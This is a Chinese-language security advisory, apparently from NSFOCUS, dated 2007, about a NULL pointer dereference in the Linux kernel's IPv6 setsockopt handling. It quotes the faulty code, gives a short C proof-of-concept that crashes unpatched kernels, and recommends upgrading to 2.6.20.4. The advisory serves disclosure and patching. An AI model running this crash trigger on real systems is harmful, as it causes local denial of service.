安全研究

安全漏洞
Linux Kernel ipv6_sockglue.c空指针引用漏洞

发布日期:2007-03-26
更新日期:2007-03-27

受影响系统:
Linux kernel < 2.6.20.4
不受影响系统:
Linux kernel 2.6.20.4
描述:
BUGTRAQ  ID: 23142

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel存在空指针引用问题,本地攻击者可能利用此漏洞导致内核拒绝服务。

Linux内核net/ipv6/ipv6_sockglue.c文件的do_ipv6_setsockopt函数存在空指针引用。在417行,opt可能为空并被引用:

        opt = ipv6_renew_options(sk, np->opt, optname,    // opt = NULL
                     (struct ipv6_opt_hdr __user *)optval,
                     optlen);
        if (IS_ERR(opt)) {
            retv = PTR_ERR(opt);
            break;
        }

        /* routing header option needs extra check */
        if (optname == IPV6_RTHDR && opt->srcrt) {        // Oops

本地攻击者可以利用这个漏洞导致Linux内核崩溃。

<*来源:ampana.gabriel (ampana.gabriel@neuf.fr
  
  链接:http://bugzilla.kernel.org/long_list.cgi?buglist=8155
        http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.20.4
        http://secunia.com/advisories/24618/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <netinet/in.h>

int main(int argc, char **argv) {
  int s, optval;

  s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  setsockopt(s, SOL_IPV6, IPV6_RTHDR, &optval, 0);

  return 0;
}

建议:
厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.20.4.tar.gz

浏览次数:2956
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障